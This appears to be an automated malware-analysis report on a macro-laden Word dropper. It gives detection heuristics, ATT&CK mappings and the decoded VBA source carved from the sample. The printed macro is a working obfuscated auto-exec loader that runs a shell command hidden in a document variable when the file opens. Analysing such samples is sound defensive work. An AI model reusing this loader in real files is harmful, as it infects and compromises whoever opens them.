MALICIOUS
302
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains obfuscated VBA macros designed to execute a payload. The Document_Open macro triggers the execution of a second-stage payload by utilizing CreateObject and CallByName functions, likely to download and run additional malicious content. The ClamAV detection 'Doc.Dropper.Valyria-6665576-0' further supports its malicious nature as a dropper.
Heuristics 8
-
ClamAV: Doc.Dropper.Valyria-6665576-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Valyria-6665576-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
CallByName call high OLE_VBA_CALLBYNAMECallByName call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 791 bytes |
SHA-256: a55df4f0a1e41953143e816ca09c6967cea29c4d42ded7dfb46d746b36049a73 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub Document_Open()
Application.Run OAW_("5A6E")
End Sub
Private Function OAW_(ByVal JUJ_ As String)
Dim A_(2) As Integer: A_(0) = 38: A_(1) = 72: Dim L_ As String: Dim J_ As Long: For J_ = 1 To Len(JUJ_) Step 2: L_ = L_ & Chr(Val(Chr(A_(0)) & Chr(A_(1)) & Mid(JUJ_, J_, 2)) - 15): Next: OAW_ = L_
End Function
Sub K_()
CallByName CreateObject(OAW_("66627281787F833D6277747B7B")), OAW_("61847D"), VbMethod, OAW_(ActiveDocument.Variables("PIDZKIC").Value), 0, True
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.